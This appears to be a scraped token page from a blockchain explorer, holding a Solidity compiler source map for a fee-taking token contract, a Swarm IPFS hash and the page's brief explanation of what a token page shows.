:0:o;17104:242::-;10321:16;:23;;-1:-1:-1;;;;10321:23:0;-1:-1:-1;;;10321:23:0;;;17199:38:::1;17216:20:::0;17199:16:::1;:38::i;:::-;17315:10;::::0;17270:21:::1;::::0;17302:36:::1;::::0;-1:-1:-1;;;;;17315:10:0::1;17270:21:::0;17302:12:::1;:36::i;:::-;-1:-1:-1::0;;10367:16:0;:24;;-1:-1:-1;;;;10367:24:0;;;17104:242::o;17890:350::-;18015:7;18011:107;;18038:14;:12;:14::i;:::-;18011:107;;;18093:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;18011:107;18128:42;18144:6;18152:9;18163:6;18128:15;:42::i;:::-;18195:7;18191:41;;18217:15;14675:17;;14663:9;:29;14709:15;;14699:7;:25;14743:16;;14732:8;:27;14617:153;17354:474;17446:16;;;17460:1;17446:16;;;;;;;;17422:21;;17446:16;;;;;;;;;;-1:-1:-1;17446:16:0;17422:40;;17491:4;17473;17478:1;17473:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17473:23:0;;;:7;;;;;;;;;;:23;;;;17517:15;;:22;;;-1:-1:-1;;;17517:22:0;;;;:15;;;;;:20;;:22;;;;;17473:7;;17517:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17507:4;17512:1;17507:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17507:32:0;;;:7;;;;;;;;;:32;17582:15;;17550:62;;17567:4;;17582:15;17600:11;17550:8;:62::i;:::-;17623:15;;:197;;-1:-1:-1;;;17623:197:0;;-1:-1:-1;;;;;17623:15:0;;;;:66;;:197;;17704:11;;17623:15;;17747:4;;17774;;17794:15;;17623:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17409:419;17354:474;:::o;16934:120::-;17019:23;;-1:-1:-1;;;;;17019:15:0;;;:23;;;;;17035:6;;17019:23;;;;17035:6;17019:15;:23;;;;;;;;;;;;;;;;;;;14282:298;14328:9;;:14;:30;;;;-1:-1:-1;14346:7:0;;:12;14328:30;:47;;;;-1:-1:-1;14362:8:0;;:13;14328:47;14325:59;;;14282:298::o;14325:59::-;14414:7;;;14396:15;:25;14452:8;;;14433:16;:27;14492:9;;;14472:17;:29;-1:-1:-1;14512:11:0;;;;14534:12;;;;14557:13;14282:298::o;18321:586::-;18428:23;18453:12;18469:19;18480:7;18469:10;:19::i;:::-;-1:-1:-1;;;;;18502:26:0;;;;;;:18;:26;;;;;;18427:61;;-1:-1:-1;18427:61:0;-1:-1:-1;18502:26:0;;:64;;;;-1:-1:-1;18551:15:0;;-1:-1:-1;;;;;18532:15:0;;;;;;:7;:15;;;;;;:34;;18502:64;18499:145;;;-1:-1:-1;18590:1:0;18606:26;18617:15;18606:26;;:::i;:::-;;;18499:145;-1:-1:-1;;;;;18672:15:0;;;;;;:7;:15;;;;;;:28;;18692:7;18672:19;:28::i;:::-;-1:-1:-1;;;;;18654:15:0;;;;;;;:7;:15;;;;;;:46;;;;18732:18;;;;;;;:39;;18755:15;18732:22;:39::i;:::-;-1:-1:-1;;;;;18711:18:0;;;;;;:7;:18;;;;;;:60;;;;18823:4;18807:22;;;;:32;;18834:4;18807:26;:32::i;:::-;18798:4;18782:22;;;;:7;:22;;;;;;;;;:57;;;;18855:44;1361:25:1;;;-1:-1:-1;;;;;18855:44:0;;;;;;;;;;1334:18:1;18855:44:0;;;;;;;18406:501;;18321:586;;;:::o;18955:237::-;19014:7;19023;19043:12;19058:31;19085:3;19058:22;19070:9;;19058:7;:11;;:22;;;;:::i;:::-;:26;;:31::i;:::-;19043:46;-1:-1:-1;19100:23:0;19126:17;:7;19043:46;19126:11;:17::i;:::-;19100:43;19179:4;;-1:-1:-1;18955:237:0;;-1:-1:-1;;;18955:237:0:o;1434:98::-;1492:7;1519:5;1523:1;1519;:5;:::i;1540:98::-;1598:7;1625:5;1629:1;1625;:5;:::i;1650:98::-;1708:7;1735:5;1739:1;1735;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2281:247::-;2340:6;2393:2;2381:9;2372:7;2368:23;2364:32;2361:52;;;2409:1;2406;2399:12;2361:52;2448:9;2435:23;2467:31;2492:5;2467:31;:::i;2741:127::-;2802:10;2797:3;2793:20;2790:1;2783:31;2833:4;2830:1;2823:15;2857:4;2854:1;2847:15;2873:719;2916:5;2969:3;2962:4;2954:6;2950:17;2946:27;2936:55;;2987:1;2984;2977:12;2936:55;3023:6;3010:20;3049:18;3086:2;3082;3079:10;3076:36;;;3092:18;;:::i;:::-;3167:2;3161:9;3135:2;3221:13;;-1:-1:-1;;3217:22:1;;;3241:2;3213:31;3209:40;3197:53;;;3265:18;;;3285:22;;;3262:46;3259:72;;;3311:18;;:::i;:::-;3351:10;3347:2;3340:22;3386:2;3378:6;3371:18;3432:3;3425:4;3420:2;3412:6;3408:15;3404:26;3401:35;3398:55;;;3449:1;3446;3439:12;3398:55;3513:2;3506:4;3498:6;3494:17;3487:4;3479:6;3475:17;3462:54;3560:1;3553:4;3548:2;3540:6;3536:15;3532:26;3525:37;3580:6;3571:15;;;;;;2873:719;;;;:::o;3597:543::-;3685:6;3693;3746:2;3734:9;3725:7;3721:23;3717:32;3714:52;;;3762:1;3759;3752:12;3714:52;3802:9;3789:23;3831:18;3872:2;3864:6;3861:14;3858:34;;;3888:1;3885;3878:12;3858:34;3911:50;3953:7;3944:6;3933:9;3929:22;3911:50;:::i;:::-;3901:60;;4014:2;4003:9;3999:18;3986:32;3970:48;;4043:2;4033:8;4030:16;4027:36;;;4059:1;4056;4049:12;4027:36;;4082:52;4126:7;4115:8;4104:9;4100:24;4082:52;:::i;:::-;4072:62;;;3597:543;;;;;:::o;4145:248::-;4213:6;4221;4274:2;4262:9;4253:7;4249:23;4245:32;4242:52;;;4290:1;4287;4280:12;4242:52;-1:-1:-1;;4313:23:1;;;4383:2;4368:18;;;4355:32;;-1:-1:-1;4145:248:1:o;4398:180::-;4457:6;4510:2;4498:9;4489:7;4485:23;4481:32;4478:52;;;4526:1;4523;4516:12;4478:52;-1:-1:-1;4549:23:1;;4398:180;-1:-1:-1;4398:180:1:o;4583:273::-;4639:6;4692:2;4680:9;4671:7;4667:23;4663:32;4660:52;;;4708:1;4705;4698:12;4660:52;4747:9;4734:23;4800:5;4793:13;4786:21;4779:5;4776:32;4766:60;;4822:1;4819;4812:12;4861:388;4929:6;4937;4990:2;4978:9;4969:7;4965:23;4961:32;4958:52;;;5006:1;5003;4996:12;4958:52;5045:9;5032:23;5064:31;5089:5;5064:31;:::i;:::-;5114:5;-1:-1:-1;5171:2:1;5156:18;;5143:32;5184:33;5143:32;5184:33;:::i;:::-;5236:7;5226:17;;;4861:388;;;;;:::o;5254:380::-;5333:1;5329:12;;;;5376;;;5397:61;;5451:4;5443:6;5439:17;5429:27;;5397:61;5504:2;5496:6;5493:14;5473:18;5470:38;5467:161;;5550:10;5545:3;5541:20;5538:1;5531:31;5585:4;5582:1;5575:15;5613:4;5610:1;5603:15;5467:161;;5254:380;;;:::o;5639:356::-;5841:2;5823:21;;;5860:18;;;5853:30;5919:34;5914:2;5899:18;;5892:62;5986:2;5971:18;;5639:356::o;6126:545::-;6228:2;6223:3;6220:11;6217:448;;;6264:1;6289:5;6285:2;6278:17;6334:4;6330:2;6320:19;6404:2;6392:10;6388:19;6385:1;6381:27;6375:4;6371:38;6440:4;6428:10;6425:20;6422:47;;;-1:-1:-1;6463:4:1;6422:47;6518:2;6513:3;6509:12;6506:1;6502:20;6496:4;6492:31;6482:41;;6573:82;6591:2;6584:5;6581:13;6573:82;;;6636:17;;;6617:1;6606:13;6573:82;;6847:1352;6973:3;6967:10;7000:18;6992:6;6989:30;6986:56;;;7022:18;;:::i;:::-;7051:97;7141:6;7101:38;7133:4;7127:11;7101:38;:::i;:::-;7095:4;7051:97;:::i;:::-;7203:4;;7267:2;7256:14;;7284:1;7279:663;;;;7986:1;8003:6;8000:89;;;-1:-1:-1;8055:19:1;;;8049:26;8000:89;-1:-1:-1;;6804:1:1;6800:11;;;6796:24;6792:29;6782:40;6828:1;6824:11;;;6779:57;8102:81;;7249:944;;7279:663;6073:1;6066:14;;;6110:4;6097:18;;-1:-1:-1;;7315:20:1;;;7433:236;7447:7;7444:1;7441:14;7433:236;;;7536:19;;;7530:26;7515:42;;7628:27;;;;7596:1;7584:14;;;;7463:19;;7433:236;;;7437:3;7697:6;7688:7;7685:19;7682:201;;;7758:19;;;7752:26;-1:-1:-1;;7841:1:1;7837:14;;;7853:3;7833:24;7829:37;7825:42;7810:58;7795:74;;7682:201;-1:-1:-1;;;;;7929:1:1;7913:14;;;7909:22;7896:36;;-1:-1:-1;6847:1352:1:o;8204:127::-;8265:10;8260:3;8256:20;8253:1;8246:31;8296:4;8293:1;8286:15;8320:4;8317:1;8310:15;8336:125;8401:9;;;8422:10;;;8419:36;;;8435:18;;:::i;8821:422::-;8910:1;8953:5;8910:1;8967:270;8988:7;8978:8;8975:21;8967:270;;;9047:4;9043:1;9039:6;9035:17;9029:4;9026:27;9023:53;;;9056:18;;:::i;:::-;9106:7;9096:8;9092:22;9089:55;;;9126:16;;;;9089:55;9205:22;;;;9165:15;;;;8967:270;;;8971:3;8821:422;;;;;:::o;9248:806::-;9297:5;9327:8;9317:80;;-1:-1:-1;9368:1:1;9382:5;;9317:80;9416:4;9406:76;;-1:-1:-1;9453:1:1;9467:5;;9406:76;9498:4;9516:1;9511:59;;;;9584:1;9579:130;;;;9491:218;;9511:59;9541:1;9532:10;;9555:5;;;9579:130;9616:3;9606:8;9603:17;9600:43;;;9623:18;;:::i;:::-;-1:-1:-1;;9679:1:1;9665:16;;9694:5;;9491:218;;9793:2;9783:8;9780:16;9774:3;9768:4;9765:13;9761:36;9755:2;9745:8;9742:16;9737:2;9731:4;9728:12;9724:35;9721:77;9718:159;;;-1:-1:-1;9830:19:1;;;9862:5;;9718:159;9909:34;9934:8;9928:4;9909:34;:::i;:::-;9979:6;9975:1;9971:6;9967:19;9958:7;9955:32;9952:58;;;9990:18;;:::i;:::-;10028:20;;9248:806;-1:-1:-1;;;9248:806:1:o;10059:140::-;10117:5;10146:47;10187:4;10177:8;10173:19;10167:4;10146:47;:::i;10204:168::-;10277:9;;;10308;;10325:15;;;10319:22;;10305:37;10295:71;;10346:18;;:::i;12295:175::-;12332:3;12376:4;12369:5;12365:16;12405:4;12396:7;12393:17;12390:43;;12413:18;;:::i;:::-;12462:1;12449:15;;12295:175;-1:-1:-1;;12295:175:1:o;12475:127::-;12536:10;12531:3;12527:20;12524:1;12517:31;12567:4;12564:1;12557:15;12591:4;12588:1;12581:15;12607:251;12677:6;12730:2;12718:9;12709:7;12705:23;12701:32;12698:52;;;12746:1;12743;12736:12;12698:52;12778:9;12772:16;12797:31;12822:5;12797:31;:::i;12863:980::-;13125:4;13173:3;13162:9;13158:19;13204:6;13193:9;13186:25;13230:2;13268:6;13263:2;13252:9;13248:18;13241:34;13311:3;13306:2;13295:9;13291:18;13284:31;13335:6;13370;13364:13;13401:6;13393;13386:22;13439:3;13428:9;13424:19;13417:26;;13478:2;13470:6;13466:15;13452:29;;13499:1;13509:195;13523:6;13520:1;13517:13;13509:195;;;13588:13;;-1:-1:-1;;;;;13584:39:1;13572:52;;13679:15;;;;13644:12;;;;13620:1;13538:9;13509:195;;;-1:-1:-1;;;;;;;13760:32:1;;;;13755:2;13740:18;;13733:60;-1:-1:-1;;;13824:3:1;13809:19;13802:35;13721:3;12863:980;-1:-1:-1;;;12863:980:1:o;13848:128::-;13915:9;;;13936:11;;;13933:37;;;13950:18;;:::i;13981:217::-;14021:1;14047;14037:132;;14091:10;14086:3;14082:20;14079:1;14072:31;14126:4;14123:1;14116:15;14154:4;14151:1;14144:15;14037:132;-1:-1:-1;14183:9:1;;13981:217::o
Swarm Source
ipfs://572fbd2d36a214fa5421ef45505c3aecc6106487009b767e779463bffcbe12ca
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.